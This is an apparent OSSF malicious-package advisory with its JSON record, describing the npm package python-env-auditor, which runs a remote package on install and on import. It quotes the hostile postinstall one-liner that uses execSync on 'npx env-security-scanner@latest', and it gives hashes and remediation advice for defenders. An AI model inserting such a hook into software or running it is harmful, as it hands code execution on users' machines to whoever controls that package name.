MAL-2026-4246
Vulnerability from ossf_malicious_packages
Published
2026-05-22 01:53
Modified
2026-05-26 05:55
Summary
Malicious code in python-env-auditor (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (32ffd6ffbc7ab684cc6bd3dbbd29d4bb608f07ea2b9d2ffd460e95a279824699)

Package fetches and executes a mutable, unpinned third-party npm package (env-security-scanner@latest) on every install and on every Python import. The postinstall lifecycle hook in package.json runs node -e "try{require('child_process').execSync('npx env-security-scanner@latest audit_environment',{stdio:'inherit',timeout:30000})}catch(e){}" — no version pin, no integrity check, errors silently swallowed. The Python module python_env_auditor/__init__.py calls run_audit() at top level, which subprocess-runs the same npx env-security-scanner@latest audit_environment command, so any import python_env_auditor also fetches and runs whatever code is currently published as that third-party package. setup.py contains the equivalent invocation gated on argv containing 'install'/'develop'. The package is published to npm but its main is setup.py and it ships a Python module — a cross-ecosystem cover story. Author metadata is placeholder ('Python Environment Security Team') and the referenced GitHub URL does not exist. Whoever controls the env-security-scanner name on npm controls code execution on every installer's machine and on every consumer process that imports this module.

Source: ghsa-malware (666bbe32ca1a561712cee2f6073a78d43815f92da2b5b539975c58077efb6e34)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

CWE
  • CWE-506 - The product contains code that appears to be malicious in nature.
  • CWE-506 - The product contains code that appears to be malicious in nature.
Credits
Amazon Inspector actran@amazon.com

{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          },
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "package.json",
              "sha256": "8c1457de43d72356f1640ebdf5d152e6002f13c53a39dc26e1c14db0583b8ad0",
              "tlsh": "a2118c528ab499732fc5254bd43a2159b0318f032d44284872f7818ddb8bb774bbe3be"
            },
            {
              "path": "python_env_auditor/__init__.py",
              "sha256": "cccad136b029682b1442d8da973b9df7a9d7b82dbbb63182858bce2e3d5fccbe",
              "tlsh": "4cf059034ea97824d5cf01abe66560998eb447036ec61068b0ddc143ff42a77d9a1feb"
            }
          ],
          "package_integrity": [
            {
              "filename": "python-env-auditor-1.0.0.tgz",
              "hashes": {
                "sha1": "987956042524f449ccbdae18e1910ff38721974d",
                "sha512_sri": "sha512-/GvimA8tEzhHz4u5AmwzIxMoq9vmEAd/s3UX3Kpi+SAur1EyOffIf7kpkhG/duRLAEfj5PQfzkoYksA5QQpzkw=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "python-env-auditor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "SEMVER"
        }
      ],
      "versions": [
        "1.0.0"
      ]
    }
  ],
  "aliases": [
    "GHSA-939m-5vr8-382c"
  ],
  "credits": [
    {
      "contact": [
        "actran@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "GHSA-939m-5vr8-382c",
        "import_time": "2026-05-22T03:24:54.635657039Z",
        "modified_time": "2026-05-22T02:43:06Z",
        "ranges": [
          {
            "events": [
              {
                "introduced": "0"
              }
            ],
            "type": "SEMVER"
          }
        ],
        "sha256": "666bbe32ca1a561712cee2f6073a78d43815f92da2b5b539975c58077efb6e34",
        "source": "ghsa-malware"
      },
      {
        "id": "IN-MAL-2026-004116",
        "import_time": "2026-05-26T05:51:58.183009502Z",
        "modified_time": "2026-05-22T01:53:35Z",
        "sha256": "32ffd6ffbc7ab684cc6bd3dbbd29d4bb608f07ea2b9d2ffd460e95a279824699",
        "source": "amazon-inspector",
        "versions": [
          "1.0.0"
        ]
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (32ffd6ffbc7ab684cc6bd3dbbd29d4bb608f07ea2b9d2ffd460e95a279824699)\nPackage fetches and executes a mutable, unpinned third-party npm package (`env-security-scanner@latest`) on every install and on every Python import. The `postinstall` lifecycle hook in package.json runs `node -e \"try{require(\u0027child_process\u0027).execSync(\u0027npx env-security-scanner@latest audit_environment\u0027,{stdio:\u0027inherit\u0027,timeout:30000})}catch(e){}\"` \u2014 no version pin, no integrity check, errors silently swallowed. The Python module `python_env_auditor/__init__.py` calls `run_audit()` at top level, which subprocess-runs the same `npx env-security-scanner@latest audit_environment` command, so any `import python_env_auditor` also fetches and runs whatever code is currently published as that third-party package. setup.py contains the equivalent invocation gated on argv containing \u0027install\u0027/\u0027develop\u0027. The package is published to npm but its `main` is `setup.py` and it ships a Python module \u2014 a cross-ecosystem cover story. Author metadata is placeholder (\u0027Python Environment Security Team\u0027) and the referenced GitHub URL does not exist. Whoever controls the `env-security-scanner` name on npm controls code execution on every installer\u0027s machine and on every consumer process that imports this module.\n\n## Source: ghsa-malware (666bbe32ca1a561712cee2f6073a78d43815f92da2b5b539975c58077efb6e34)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n",
  "id": "MAL-2026-4246",
  "modified": "2026-05-26T05:55:04Z",
  "published": "2026-05-22T01:53:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-939m-5vr8-382c"
    },
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/python-env-auditor/v/1.0.0"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in python-env-auditor (npm)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…